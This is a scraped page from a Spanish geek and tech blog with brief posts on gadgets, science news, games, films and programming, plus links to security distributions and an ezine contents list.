  <li><a href="http://wifiway.org/">WifiWay</a></li>
  <li><a href="http://www.wifislax.com/">WifiSlax</a></li>
  <li><a href="http://www.caine-live.net/">CAINE 0.5 - Forense</a></li>
  <li><a href="http://www.e-fense.com/products.php">Helix - Forense</a></li>
  <li><a href="http://pentestit.com/tag/frhack/">FRHACK</a></li>
  <li><a href="http://ophcrack.sourceforge.net/">Ophcrack</a></li>
  <li><a href="http://www.ussysadmin.com/operator/">Operator</a></li>
  <li><a href="http://www.phlak.org/modules/mydownloads/">PHLACK</a></li>
  

  Salón del automóvil de Tokyo

  Haciendo "click" en la imagen tenéis la página web del Salón del automóvil de Tokyo. Aunque solo sean prototipos, los diseños son bastante curiosos.

  

  En este mismo lugar, la marca japonesa Yamaha ha presentado hoy en el salón del automóvil de Tokyo un prototipo de moto eléctrica.

  El scooter en cuestión está fabricado en aluminio ligero y obtiene su energía de una batería de Ion-Litio, la misma tecnología que emplean los teléfonos moviles. No es la primera ni la única, pero el diseño es muy interesante, a medio camino entre una moto y una bicicleta.

  sc140, a ritmo de 140 bytes

  

  Un total de 22 canciones (suena más a tono de móvil que a otra cosa) podemos encontrar en este álbum llamado sc140. La particularidad del mismo, es que todas las pistas han sido creadas con 140 bytes de código. Muy curioso sin duda alguna. Aquí podéis ver el código fuente de cada pista y desde aquí te puedes descargar el álbum completo.

  Las 5 mejores distribuciones de aplicaciones …

  

  Ya hemos hablado en CyberHades sobre algunas distribuciones y aplicaciones portables. Ahora en LifeHacker nos hablan de 5 realmente espectaculares, que son las más votadas por los lectores habituales del blog:

  LiberKey, gran variedad de aplicaciones, hasta 250 separadas en categorías.

  PortableApps (esta ya la conocíamos), OpenOffice y una gran cantidad de aplicaciones. Esta es la distribución con más experiencia de todas.

  Portable Linux, elige una de las distrubuciones Live CD que existen . Todas llevan docenas de aplicaciones útiles.

  hurl

  

  hurl es un servicio online que nos permite hacer peticiones web. Es perfecto para depurar y probar APIs. Sólo tenemos que pasarle una dirección web, establecer algunos parámetros de cabecera si queremos y lanzar la petición y nos devolverá los datos en forma JSON.

  Los primeros 8 minutos de la nueva serie de "V"

  Se estrena en EE.UU en la ABC el 3 de Noviembre.

  Visto en GeeksAreSexy.

  Imágenes y generador de atractores, la belleza del …

  

  La belleza de las matemáticas en estado puro, sólo tenéis que echar un vistazo a esta galería de atractores y luego probar a crear alguno usando este generador.

  Si quieres saber más echa un vistazo a este artículo:

  Strange attractors, Nihilogic.

  Amiga Workbench 1.3 emulado con AJAX

  

  Pues eso, una emulación del Amiga Workbench 1.3 emulado con AJAX.

  World of Goo al precio que quieras

  

  Windows, Mac y Linux

  Uf, acabo de verlo en GameOver.es y la promoción acaba HOY. Ya lo he comprado por un dólar (puedes pagar hasta menos si quieres y recuerda que cuesta 20$) y te recomiendo que lo hagas, este juego es espectacular.

  No te pierdas el enlace de GameOver donde también sabrás el resultado de esta estrategia comercial.

  Puedes comprarlo desde aquí:

  http://2dboy.com/games.php

  Hakin9, revista sobre seguridad y sus recursos …

  

  Creo que todos conocemos ya la fantástica revista hakin9, lamentablemente ya no se publica en castellano (y es difícil conseguirla en inglés en España)  pero podemos acceder a su web y descargar en PDFs de forma grauita, cientos de documentos muy interesantes de seguridad.

  Pero no sólo podemos descargar estos fantásticos PDF, también hay entrevistas, webcasts, whitepapers, etc …

  No te la pierdas, visita la web:

  hakin9

  Arcade Fire, "No Cars Go", y la importancia de …

   

  Canción espectacular de un grupo que nos apasiona, Arcade Fire. Seguro que ahora cuando la escuches y veas la letra, te gustará más. La canción es "No Cars Go" (del álbum "Neon Bible"), lamentablemente no hay video, pero podéis oirla desde este video de Youtube que os pongo más abajo.

  Impresionantes la batería y el ritmo de marcha justo a la mitad de la canción animando el caminar de todos los que acompañamos a Arcade Fire a su lugar secreto.

  Primero en inglés y abajo en español.

  ¿Estás listo para viajar?

  SET 38

  

  Acaba de salir el número 38 de la ezine española con más solera y posiblemente calidad, SET. Aquí copio el contenido de este ejemplar:

  0x00     Contenidos 0x01     Editorial 0x02     Malloc Des-Maleficarum 0x03     Bazar de SET 3x01  ASLR No Tan Aleatorio 3x02  Shellcodes Polimorficos en Linux 3x03  Respuestas Reveladoras en Win 2003 SBS Terminal Server 0x04     Return Into to Libc en MacOS X 0x05     Reversing XnView por diversion 0x06     Anonimato: Fantasmas en la Red 0x07     Hacking ZyXEL Prestige 660 0x08     Proyectos, peticiones, avisos 0x09     Sistemas Industriales 0x0A     Captcha-Killer Wargame: OCR 0x0B     Heap Overflows en Linux: II 0x0C     Llaves PGP

  La guía completa de Windows 7, por LifeHacker

  

  El jueves pasado se lanzó al mercado el Windows 7 (seguro que te has enterado). Ahora en LifeHacker nos ofrecen una guía completa sobre funcionamiento, nuevas características, trucos, y mucho más.

  LifeHacker, Complete Guide to Windows 7

  Ingeniería inversa de las Toad Houses

  

  Las Toad Houses (Mario Bros 3) son esas pequeñas casitas con forma de champiñón en las que podemos entrar y elegir 1 baúl de entre varios.  El autor de este post, decidió averiguar que elementos se encontraban detrás de esos baules  y cual era la lógica que se seguía. Después de desensamblar el juego, el autor llega a la conclusión de que depende de la casa en la que te encuentres, recibes distintos elementos. Si te encuentras en una casa cuyo identificador está entre 1 y 5, siempre recibes el traje rana, no importa que baúl escojas. Y si por el contrario te encuentras en una casa con un ID mayor que 5, el elemento se decide aleatoriamente justo después de haber seleccionado uno de los baules. Por lo cual antes de seleccionar un baúl, todos ellos están vacíos.

  Científicos chinos recrean un agujero negro en el …

  Científicos chino han conseguido generar exitosamente un agujero negro artificial.

  

  El agujero negro ha sido generado mediante un sistema de 60 capas concentricas de placas de circuito. Cada capa está cubierta de cobre e impresa con patrones que poseen una vibración alternativa en respuesta a las ondas electromagnéticas. Dichos patrones son capaces de absorber radiación microondas proveniente de cualquier dirección y transformar su energía en calor.

  Agujeros también en la Luna

  

  Ya hablamos en CyberHades sobre agujeros en Marte, pues ahora se ha descubierto uno más cerca, en la Luna. Los científicos afirman que serían un buen lugar para crear colonias en la Luna, ya que protegerían de la radiación y la temperatura extrema a los futuros colonos. Este tiene por lo menos 80 metros de profundidad y se cree que al final llega a una cavidad de al menos 365 metros de ancho.

  Disfraz para Halloween, el niño del globo

   

  

  El difraz de moda para este Hallowen, el niño del globo (madre mía que frikis) XD

  Visto en Neatorama.

  Tres libros sobre programadores

   

  Si quieres aprender un poco más sobre la vida que hay detrás de algún programador o simplemente algo de inspiración, no puedes perderte cualquiera de estos tres libros. De paso aprovechamos y hablamos un poco sobre estos genios de la Informática:

  Coders at work

  • Frances Allen: pionera en optimizar compiladores, primera mujer que ganó el Premio Turing en 2006.
  • Joe Armstrong: inventor del Erlang.
  • Joshua Bloch: Java, ahora en Google.
  • Bernie Cosell: maestro debugger y responsable de bastante código de la Arpanet
  • Douglas Crockford: fundador JSON, trabaja en Yahoo con Javascript.
  • L. Peter Deutsch: creador del Ghostscript, implementó Smalltalk-80 en Xerox PARC y Lisp 1.5 on PDP-1
  • Brendan Eich: invetor del JavaScript, trabaja en Mozilla Corporation
  • Brad Fitzpatrick: OpenID y escritor en LiveJournal.
  • Dan Ingalls: diseñó e implementó el Smalltalk.
  • Simon Peyton Jones: Coinventor del Haskell y el compilador Haskell.
  • Donald Knuth: Autor del libro The Art of Computer Programming y creador de TeX
  • Peter Norvig: director de investigación en Google y trabajos sobre IA.
  • Guy Steele: coinventor de Scheeme, trabaja en Fortress.
  • Ken Thompson: inventor del UNIX.
  • Jamie Zawinski: Mozilla hacker y autor del Emacs.

  Programmers at work

  Juegos ZX Spectrum en tu PC

  

  Que te apetece jugar una partidita en plan retro-friki, pues esta es tu página.

  ZX Spectrum

  Aquí puedes encontrar un montón de juegos de Sinclair ZX Spectrum (desde 1982). eso sí, ahora se cargan rapidito y sin errores en la cinta. Mucho mejor!!!

  A divertirse, que es fin viernes. Jejeje.

  ¿Broma? ¿Montaje? ¿Verdad?

  

  Para el que no sepa de que va la película, el de la foto, no el que está detrás del mostrador, sino el otro con el pulgar hacia arriba es Linus Torvalds, creador del kernel de Linux.

  Fuente LinuxMagazine.

  Crema Photoshop... porque yo lo valgo.

  

  Guerra contra photoshop. Algunas publicaciones europeas (la alemana Brigitte) pretenden volver a la naturalidad en sus portadas. “Tenemos que ser tal cual, la cirugía estética no me gusta”, sentencian muchas mujeres. Con tanto truco es imposible parecerse en lo más mínimo a las musas de la moda, se quejan.

  Andreas Lebert, editor jefe de Brigitte, asume que hasta el momento la publicación recurría a Photoshop para retocar las fotos de ‘sus musas’, sus defectos, sus imperfecciones.

  Plantillas de red

  

  En packetlife.net tienen una pequeña, pero interesante colección de plantillas o chuletas relacionadas con temas de red. Desde protocolos, pasando por aplicaciones como TCPDump o Wireshark, hasta conectores de red.

  PrimoPDF, la mejor impresora virtual PDF gratuita

  

  Después de haber probado varias impresoras virtuales PDF gratuitas (aplicaciones que crean una impresora para crear PDF), PrimoPDF es la mejor opción. Si tienes problemas con ficheros PDF demasiado grandes, esta es la solución. Comprime como ninguno, además tiene varias opciones extras a la hora de crear el PDF como adaptarlo para impresión, para un ebook y muchas más.

  No lo dudes, la mejor opción para crear PDF desde cualquier aplicación con buena calidad y compresión de los datos.

  Construye una máquina para luchar contra su propia …

  

  John Kanzius era un hombre enfermo de leucemia que, cansado de los tratamientos de quimio, decidió diseñar, construir y probar consigo mismo un aparato de ondas de radio. La idea es introducir partículas metálicas, susceptibles de recibir las ondas, en el flujo sanguíneo. Al parecer, las células cancerígenas mueren, sin efectos secundarios para el paciente. El sistema está siendo probado por un médico, que ha logrado financiación y podría tenerlo listo para humanos en 2 ó 3 años y sería operativo para distintos tipos de cáncer.

  El CERN a través de los ojos Peter Ginter

  El Proyecto CPAN (Consolider-Ingenio 2010) trae a España una exposición itinerante de fotografías realizadas por Peter Ginter sobre las labores de construcción del Gran Colisionador de Hadrones (LHC) y sus detectores situados en el CERN (Suiza).

  

  Peter Ginter es un afamado fotógrafo alemán que ha realizado trabajos ilustrando diferentes campos científicos para revistas como: GEO, Stern, Paris Match, Life, National Geographic.

  Ciudades sostenibles: Masdar (E.A.U.)

  

  Masdar, situada en un desierto en las cercanías de Abu-Dhabi, capital de los Emiratos Árabes Unidos (E.A.U.), con cerca de unas temperaturas máximas cercanas a los 60ºC va a ser una de las primeras ciudades con cero emisiones de CO2. Su construcción empezó en 2007, terminará en 2012 y albergará a unas 50.000 personas, dando trabajo contínuamente a otras 40.000 más. Además se reducirán la generación de residuos en un 90%.

  Luz verde para la nueva generación de cohetes de …

   

  Prácticamente ya jubilada el Transbordador Espacial, aparece la nueva generación llamada Ares 1-X. Mide 100 metros de altura y se prevé que entre en servicio en 2016.

  La retirada de los Transbordadores Espaciales se hará el año que viene. Los astronautas tendrán que viajar en cohetes rusos al Espacio.

  Una de sus misiones más importantes será la de volver a llevar astronautas a la Luna.

  Ya han dado luz verde para los test de vuelo, este es un video con una simulación de lanzamiento.

  Muscle March: el juego de la Wii más... rarito

  De verdad que es muy recomendable verlo. Es que no tiene desperdicio: osos en tanga, tortugas marcando paquete, culturistas vestidos de heroínas...

  Muscle March es una mezcla de fiesta de disfraces, mucha mancuerna, "Día del orgullo gay" y el muro infernal.

  Todo consiste en que un ladrón roba de un gimnasio de culturistas el bote de las proteínas y sale corriendo con él, atravesando todas las paredes que encuentra a su paso. Los jugadores hacen el papel de los culturistas que persiguen enfurecidos al ladrón, y para ello tienen que imitar la pose que ha hecho el ladrón al pasar por el muro (una especie de muro infernal pero en la wii, vamos), si consigues seguir al ladrón durante suficiente tiempo, acabas haciéndole un placaje, pero en cambio si no haces bien las poses acabas estrellándote contra el muro.

  Jugando a Dragones y Mazmorras (Rol de verdad) en …

   

  Surfacescapes Demo Walkthrough from Surfacescapes on Vimeo.

   Experiencia alucinante, menudo cacharrito el Surface  para echar partídas épicas al rol de verdad.

  Visto en Vimeo.

  y programando, programando...

  

  - No entiendo tu código, ¿Para que son esas líneas?

  - ….

  – No tengo idea, pero no funciona sin ellas.

  Página: chistesgeeks.com

  Nook, the Kindler killer!

  

  Barnes and Noble una de las grandes tiendas de libros en EEUU, lanzará a finales de Noviembre (según un anuncio en NYT saldrá a la venta el 25 de Octubre) su propio lector electrónico. Las características del aparato no son moco de pavo.

  • Pantalla blanco y negro de tecnología E Ink.
  • Una segunda pantalla de 3,5 pulgadas en color, la cual se usará para navegar por los libros almacenados.
  • WiFi y 3G.
  • 2 Gb de memoria interna.
  • Soporte de formatos abiertos como EPUB.
  • Marcadores.
  • Compartición de libros con otros usuarios.
  • Y como guinda: Android 2.0!

  Y todo esto por un precio de 269 dólares.

  Dungeon and Dragons Online, gratis

  

  No he podido probar este juego pero estas vacaciones  de Navidad pueden ser un buen momento para hacerlo, ahora que es totalmente gratis.

  Sólo tienes que descargarlo y darte de alta en:

  http://www.ddo.com/playnow/

  En teoría tiene que ser el mejor, ya que está basado en las reglas y monstruos de nuestro juego de rol favorito, el D&D.

  Ya veremos, de momento el WOW sigue siendo el número uno ...

  Esculturas con calabazas

  Ahora que se acerca Halloween, la venta de calabazas se dispara brutalmente y con ello una gran creatividad y para muestra un botón. Aquí podemos apreciar algunas fotos de las esculturas hechas por Scott Cummins.

  

  Podéis ver el resto aquí.

  Las primeras imágenes de Android 2.0

  

  Lo que tiene de nuevo, integración con Facebook, soporte para Exchange, nueva aplicación de mapas (ampliada), mejoras en el navegador, subida a YouTube de videos, backups, Text to Speech (texto a voz), y el Car Home (foto del post) una pantalla de inicio preparada especialmente para el coche.

  Más información en Diario de un Androide (vía Barrapunto).

  Todas las fotos aquí.

  iPod Touch Pong multiplayer

  Visto en CrunchGear, hace tiempo …

  Lanzadera alcanzada por un rayo.

  

  Como se suele decir: “Pa habernos matao”. Menos mal que el cable de tierra estaba atornillado… ;-)

  Más info: epicfireworks.com

  "The Force Trainer" de Star Wars

  

  Pues sí, y aunque parezca mentira, ahora puedes tener tu propio entrenador personal de “La Fuerza”. Por el módico precio de 129 € puedes tener en tu cabeza un lector de ondas cerebrales con el que podrás controlar una bola de entrenamiento como lo hacía el mismísimo Luke Skywalker ;-)

  Supongo que será un ventilador con un controlador inalámbrico por potenciómetro. No creo que sea un electroiman, no sé. El caso es que parece que funciona, dice la gente que cuanto más concentrado estás parece que funciona mejor…

  HARPS descubre 32 nuevos planetas

  

  High Accurancy Radial Velocity Planet Searcher (HARPS) es el espectrógrafo para la European Southern Observatory (ESO) que han usado los astronómos para encontrar 32 nuevos planetas extrasolares. Ahora mismo estamos en 406 planetas, y la HARPS ha descubierto más de 75 exoplanetas en 30 sistemas planetarios diferentes. En el último lote se han encontrado varios planetas rocosos de poca masa llamados "SuperTierras" de aproximadamente el tamaño de Neptuno.

  Movimiento sincronizado con robots

  Visto en Hack a day.

  Los nuevos números de móvil empezarán por 7

  

  Cuantas noches en vela habréis pasado preguntándoos que sucederá cuando se acaben los números de móvil que, hasta el momento, empezaban por 6.

  Pues ya podéis dormir tranquilos porque los números comenzarán por 7. ¡¡¡Resulta que se hizo una encuesta que constaba de 17 grupos!!!

  ¿Os imagináis como deberían de ser las reuniones?

  1. A mi me gustaría que fuese el 3.

     Suunto X10: tu nuevo ángel de la guarda según …

     

     "Mejor Instrumento de Aventura 2009" por el National Geographic Adventure Magazine

     

     Basado en tecnología militar llega el último ordenador de muñeca de Suunto para deportes outdoor, se denomina X10 y sus características son impresionantes:

     • GPS (+ potente + ligero + rápido + preciso)
     • Controle la altitud, la presión barométrica, hasta 50 rutas, 500 puntos de referencia y sendas, así como velocidad y distancia con alta precisión (si te pierdes es que estás en otra dimensión y/o planeta)
     • Registre su recorrido y compártalo en Google Earth™
     • Consta de altímetro, barómetro y brújula
     • Más tiempo disponible en la senda con su batería de mayor duración
     • Sumergible hasta 100 metros
     • Software compatible: National Geographics TOPO!, Austrian Map, CompeGPS, Fugawi, German Top-Map Series, MagicMaps y Memory-Map.
     • Aprox. 449 €

     ¿A que al verlo no parece gran cosa? Pues sólo le falta el San Bernardo con el barrilito de coñac al cuello.

     Desmontando lectores de CD para reutilizar sus …

     

     Foto: anachrocomputer

     En Cyberhades nos duele mucho tirar electrónica por muy vieja que sea (al final tengo que hacerlo) ya que creo que alguna utilidad le podría sacar. Ahora que ya tenemos lectores de Blue Ray y grabadoras de DVD, seguro que nos sobran muchos lectores y grabadoras de CD. Pues estos dispositivos tienen muchos componentes electrónicos reutilizables como por ejemplo engranajes, motores (paso a paso y CC), interruptores, leds ... y mucho más. Con estas partes puedes hacer proyectos realmente interesantes como por ejemplo partes para robots.

     Los científicos calculan el número de universos …

      

     

     “Sólo” 10^10^16.

     Los científicos usan estos modelos de universos alternativos para poder explicar algunos fenómenos que de otra forma serían inexplicables. Este número se basa en las pertubaciones de materia y energía generada después del Big Bang, y representa dichas variaciones que también es el límite de dichos universos.

     De momento, sólo conocemos uno. Aún nos quedan algunos más por descubrir.

     Visto en PopSci.

     Estadísticas en la seguridad de aplicaciones web

     

     El consorcio de seguridad de aplicaciones web (WASC) acaba de hacer público un documento con datos estadísticos sobre la seguridad en aplicaciones web. Además de eso, también nos hablan sobre la metodología y los diferentes proyectos usados para la recopilación de dichos datos.

     Visualizando RFIDs

     Como muchos sabrán RFID es un sistema de identificación por radio frecuencia. Es un sistema que está levantando mucha polémica, por el uso que las grandes corporaciones y gobiernos le quieren dar. En esto post lo que quiero compartir es la noticia que leí en Slashdot sobre un nuevo método capaz de fotografiar el campo de acción de un componente RFID. Mejor que veáis el vídeo, es muy interesante.

     Buscador de preservativos en tu iPhone

     

     Me quedé estupefacto el otro día cuando vi esta aplicación para iPhone: Kondom-Localizr. ¿Hasta para buscar un preservativo se necesita un iPhone? Vaya tela. Aunque te puede ser muy útil si te coge en fuera de juego y tocado de un ala. La única pega es que a día de hoy sólo funciona en Suiza.

     Me pregunto el uso que algun@ le darán al vibrador del teléfono.

     Una canción de domingo por la mañana, Vampire …

     Original, “The kids don´t stand a chance”, Vampire Weekend

      

     Remix Chromeo, “The kids don´t stand a chance”, Vampire Weekend

      

     En directo.

     Vampire Weekend.

     El nuevo motor gráfico CryEngine 3, la revolución …

      

     Video Games | CryEngine 3 | Beauty Speed Interaction Trailer HD

     XBox 360 | Playstation 3 | Nintendo Wii

     Realmente impresionante el nuevo motor gráfico para 3D de la empresa Crytek. Lo único es saber la potencia gráfica necesaria para poder jugar a juegos con esa resolución.

     ¿No has visto aún "Moon"?

     

      

     No te pierdas Moon, una de las mejores películas de Ciencia Ficción de los últimos años, impresionante. No sólo la trama, también la música de Clint Mansell.

     Felicidades a Duncan Jones, así da gusto ver películas de Ciencia Ficción.

     Renegade BBS

     

     Cuando me encontré con este post, se me vino a la mente una gran cantidad de recuerdos y nostalgia. La BBS era la forma más usada para el intercambio y la compartición de información. Yo por suerte o por desgracia, por aquellos tiempos nunca tuve un módem, pero conocía a algún privilegiado que sí que tenía uno, ¿2.400 baudios? que por cierto me bajaba algunas demos de Amiga y algún material de programación.

     Depurando sobre IRC

     

     Con la recién salida versión 7 de gdb, el depurador por excelencia de GNU y el soporte de Python dentro del mismo, las posibilidades de depuración se han ampliado enormemente. En este post podemos ver un ejemplo de como depurar una aplicación a través de xchat usando un pequeño script en Python.

     Simulación del movimiento de 2 fluidos

     En el video puede verse como  mediante el empleo de la dinámica molecular, ciencia que estudia el movimiento de átomos y moléculas, se ha simulado el comportamiento de dos fluidos (aluminio y cobre a 2000 K) en contacto. Los creadores del modelo han llegado a emplear 9 millones de átomos con la idea de simular un flujo a gran escala. Todo esto no hubiese sido posible sin las herramientas de cálculo computacional de las que se dispone en estos tiempos.

     Los 10 mejores coches de policía

     

     Los hemos visto “Juez Dredd” y otras tantas películas, pero lo que al menos yo no sabía, es que los podías ver patrullando las carreteras de Lazio, Munich o Inglaterra.

     He aquí una interesante (y envidiable) selección de los 10 mejores coches policiales.

     Puedes verlos todos aquí.

     Cometas realistas de Star Wars

     

     

     Especificaciones: Envergadura: 95cm apróximadamente Nylon Ripstop de alta resistencia Varillas de fibra de vidrio y bolsillos reforzados Incluye enrrollador de alta velocidad Incluye linea de alta resistencia con clip rápido de enganche Montaje muy sencillo

     Se venden en planetapluton.com por 49 €.

     Carta de Bill Gates de 1976

     Esta carta fue enviada por Bill Gates el 3 de Febrero de 1976, cuando estaba creando el compilador Altair Basic junto a Paul Allen y Monte Davidoff. La carta era una queja/crítica abierta a los aficionados que hacían uso de dicho compilador, pero que nunca compraron una licencia. Bill se quejaba abiertamente de que el coste total de tiempo invertido por el equipo ascendía a los 40.000 dólares, mientras que según sus cálculos y asumiendo que sólo el 10% de la comunidad poseía una licencia legal de su producto, hacía que el coste de la hora de trabajo invertida descendía a 2 dólares. Bill, algunas cosas nunca cambian.

     5 herremientas para acceder a tu partición Linux …

     

     Mucho de vosotros pueden que tengan el disco particionado con Window y Linux y arranque dual. Acceder a las particiones de Windows desde Linux, hoy en día es algo trivial y el propio sistema por defecto, posiblemente te monte automáticamente las particiones de Windows que encuentre. El caso inverso no es tan trivial, es decir, acceder a las particiones de Linux desde Windows, ya que Windows por defecto no incluye ningún driver que reconozca los sistemas de ficheros típicos de Linux (extXX). Así para aquellos interesados, aquí os dejo un pequeño listado con 5 herramientas que nos permitirán precisamente eso, acceder a nuestras particiones de Linux desde Windows.

     Mac Motorcycles, el nuevo rugido británico.

     

     

     No, no tienen nada que ver con Macintosh. Mac Motorcycles es una nueva marca de motocicletas que van a pegar muy fuerte. Ellis Pitt es el fabricante que, junto con el gabinete de diseño Xenophya Design (muy buena la web y los diseños, bocetos…), han terminado los cuatro primeros proyectos: Peashooter, Roarer, Ruby y Spud. Todas tienen un solo cilindro y están equipadas con el motor superleggere  500 cc de la Buell Explosion. Las motos se fabrican por encargo en la pequeña población inglesa de Upton-Upon-Seven y se venderán en Japón, Reino Unido, Francia, Australia y los Estados Unidos, principalmente. Su precio oscilará entre los 9.000 y los 11.000 euros dependiendo del modelo y preparación.

     BattleStar 6 y Boomer en la revista Maxim

     

     Toma que es viernes. Contemplad a dos de las chicas de  Battlestar Galactica ;)

     Boomer (Grace Parck) y la cylon número 6 (Tricia Helfer) en la revista Maxim, a ver si alguien consigue el número completo.

     Visto en SciFiWire.

     F***yourmemory.c

     Graffiti fotografiado en Palo Alto, California (Silicon Valley).

     

     BoingBoing

     El nuevo Greubel Forsey desde 518.000 €

     

     Es pura ingeniería creada por Stephen Forsey y Robert Greubel. Es único en muchos de sus aspectos, además del brutal precio. Posee el único tourbillon cuadruple que existe para un reloj de muñeca y que lo hace el más preciso en su categoría.

     CAJA: Platino 950. 43,5 x 16,06 mm. MOVIMIENTO: Calibre manufactura carga manual. Reserva de marcha de 50 h. Frecuencia de 21.600 a/h. FUNCIONES: Horas, minutos, segundos e indicador de reserva de marcha. ESFERA: Oro macizo en acabado plateado. Apertura para la visión de los cuatro tourbillons. Indicador de giro del tourbillon exterior izquierdo, estimado en 240 segundos. PULSERA: Piel negra de cocodrilo cosida a mano con cierre desplegable en platino. HERMETICIDAD: 30 m. PRECIO: Desde 518.000 euros. WEB: greubelforsey.com

     Hitachi

     

     Hitachi ha lanzado un televisor capaz de reconocer cuando una persona deja de mirar la pantalla, en cuyo caso la apaga. El televisor dispone de una pequeña cámara que es la que escanea el rostro de la persona. Y me pregunto yo, ¿Qué pasa cuando hay dos personas viendo la tele y la que está enfocada con la cámara se va o gira la cabeza? ¿Tiene que haber una persona sentada en el punto de enfoque todo el tiempo? No sé, pero no le acabo de ver la gracia a esto.

     Reloj de bolsillo hecho con LEDs

     Impresionante obra de ingeniería hecha sobre un antiguo reloj de bolsillo para convertirlo en todo un gadget moderno. El dueño y autor de la modificación del reloj que heredó de su abuelo tras fallecer, le sacó las tripas al antiguo reloj y lo renovó por completo pasando por el diseño de la placa, soldando manualmente 113 LEDs, instalando un oscilador de reloj, su batería y vibrador de teléfono móvil para simular los “tics” de cada segundo. Todo ello controlado con un PIC16F946. Pero no sólo eso, esta es la primera versión del mismo y el autor ya está trabajando en la segunda versión, donde pretende añadirle sincronización NTP, un puerto USB de carga y reprogramación, menos consumo de batería, etc. Como dije, una auténtica obra de ingeniería.

     "HALO, The Fall of Reach" por Spielberg.

     

     Con fecha de estreno para el 2012, parece que Steven Spielberg ya tiene hasta el título de la película: “HALO, The Fall of Reach” Y, lo mejor de todo, parece que la va a protagonizar Tom Cruise… nic, si es que no se pueden estar quietecitos…

     Google dice que los programadores son:

     Unos vagos… pequeños dioses… sexy… también son personas…

     

     Fuente original.

     ECO-Gadgets

     A la mayoría de vosotros os gusta comprar “juguetitos” tecnológicos en Navidad, cumpleaños y cualquier otra fiesta de guardar. Líbreme Diol de recomendaros abstinencia (como haría el buen Escrivá, jeje), lo que os recomiendo es que compréis de manera sostenible.

     Es por esto que os pongo algunos enlaces de páginas que fomentan el “eco-consumismo”. Seguro que conocéis más, pero aquí os pongo un grupo.

     EcoStreet (enlace a la clasificación de los eco-gadgets más deseados del 2008)

     Entradas de ARTFUTURA ya a la venta.

     

     DEFINICIÓN: festival de Cultura y Creatividad Digital de referencia en España, explora los proyectos y las ideas más importantes surgidas en el panorama internacional del new media, el diseño de interacción, los videojuegos y la animación digital.

     FECHAS: 29, 30, 31 de Octubre y 1 de Noviembre. Exposición hasta el 15 de Noviembre

     PARTICIPANTES DESTACADOS: caben destacar a William Gibson, Theo Jansen, Toshio Iwai, Laurie Anderson, Hiroshi Ishii, Paul Friedlander, Moebius, David Byrne, Masaya Matsuura, Howard Rheingold, Timothy Leary, Tomato, Tetsuya Mizuguchi, Rebecca Allen, Ryota Kuwakubo, Mariscal, Orlan, Stelarc, Yoichiro Kawaguchi, Brian Eno, Karl Sims, Marcel.lí Antúnez, Arthur Kroker, Xeni Jardin y otros.

     Top 25 Huevos de Pascua en hardware

     

     Los Huevos de pascua no sólo aparecen en el software, también en la electrónica/hardware. En estos dos enlaces podrás encontrar una gran colección de ellos.

     Por ejemplo este de la Sega Master System, que contenía oculto un juego de laberintos escondido:

     1. Conecta la consola sin cartuchos y mantén pulsado arriba y los dos botones.

     2. Aparecerá el juego del laberinto.

     

     Otro, en el escáner HP 5100c, si dejas pulsado el botón de escanear y conectas la corriente, una música comenzará a sonar.

     Más de 100 aplicaciones de seguridad de código …

     

     En este post recogen un enorme listado de más de 100 aplicaciones de seguridad con licencia de código abierto o libre. Hay aplicaciones para todos los gustos que cubre prácticamente cualquier campo de la seguridad.

     Súper Ratón ha vuelto, ahora se llama Space Pilot …

     

     Es tridimensional: izquierda y derecha, delante y detrás, "arriba y abajo" ¿¿??

     Con un precio de 400 € está considerado el ratón más preciso que existe. Su sensor capta movimientos de hasta 4 micrómetros. Posee una pantalla informativa para que no te lies con la configuración personalizada de sus 24 botones… casi no te hará falta el teclado. Esta fabricado por 3dconnexión (Logitech) y está orientado al diseño, CAD y 3D. Solo una pega, y grande: no vale para MAC.

     Impactos de balas en slow motion

      

      Realmente espectaculares.

     Visto en OhGizmo!

     Rudebox

     Aquí os dejo el vídeo de la impresionante demo de Alcatraz, Rudebox de 4k, que ha sido lanzada este mes. ¿Quién se acuerda de la Odyssey (Amiga)? demo que ocupaba 5 disquetes y duraba 33 minutos. Este es el grupo que la hizo.

     Cartucho de Super Mario transformado en NES …

      

     Buen uso para un cartucho de Super Mario NES que seguro estaría lleno de polvo en un cajón.  Beatboxtaun lo han transformado en una NES portátil. Hackeando un media player portátil de marca indeterminada, obitienen pantalla de 2,8 pulgadas, 4GB de memoria en una SD y salida de televisión.

     Visto en TechBlog.

     Ajuste de la iluminación del monitor: F.lux

     

     Programa que modifica la iluminación y la temperatura de color de tu monitor en función de las coordenadas en las que te encuentres. Para los que trabajamos bajo la luz del fluorescente, presenta también una variable.

     http://stereopsis.com/flux/

     Yo ya los estoy probando a ver que tal funciona. Disponible para Mac, Linux y Windows.

     Visto en Meneame

     Utiliza tu iPhone para volar.

     

     He conseguido recientemente mis alas y, después de leer el reportaje de Jorge Capdequi en Avión & Piloto, me tengo que hacer con uno de estos, definitivamente.

     Aeropuerto, aeródromo o campo, meteo (METAR, TAFOR, orto-ocaso, VFR o IFR, VMC o IMC), calculador de rutas, check list (172P,172N, 172SP, 172R… una locura), envolventes de carga, TAS, GS, viento cruzado, holding, planes de vuelo… si eres piloto sabrás que todas y cada una de las cosas que acabo de mencionar hay que tenerlas en cuenta antes de echar a volar el pájaro.

     El libro de LEGO

     

     200 páginas donde se revela toda la historia, secretos y curiosidades.

     Cuesta 26,40$, al cambio actual unos 17 euros, ya está en mi wishlist.

     Amazon

     Glorias y penurias de los nietos de Cajal

     Interesante documento de RNE, siguiendo con los últimos posts publicados, en el cual se hace un repaso histórico de las vivencias de los investigadores en nuestro país. Es un documental realizado por Manuel Seara, presentador del programa de divulgación científica “A hombros de gigantes” en Radio 5 que se emite los viernes de 22 a 23 h.

     RNE Documentos

     Es un documental con comentarios del presidente del Consejo Superior de Investigaciones Científicas (CSIC), nada de CESID (que era otra cosa, jejeje); el director del Centro de Investigaciones Biológicas (CIB), Vicente Larraga; el físico y premio Principe de Asturias Federico García Moliner; el historiador de la ciencia Miguel Angel Puig-Samper; el catedrático de Historia de la Filosofía José Luis Abellán y los bioquímicos Margarita Salas y Mariano Barbacid.

     35 años de la mejor fotografía microscópica

      

     

     Puedes ver todas estas espectaculares fotos en:

     Wired

     Trailer de Toy Story 3

      

      Visto en ZonaFandom.

     La luna de Júpiter, Europa, podría soportar formas …

     

     Europa tiene suficiente agua rica en oxígeno como para soportar no sólo simples organismos, sino también formas más complejas de vida, tal y como nos anuncian desde la Universidad de Arizona los investigadores que estudian el hielo de esta luna congelada.

     Basándose en la rapidez con la cual el hielo se repone en la superficie,  Richard Greenberg estima que el oxígeno llega a los océanos subterráneos para alimentar a una "macrofauna" de animales.

     0day en Adobe Reader y Adobe Acrobat

     

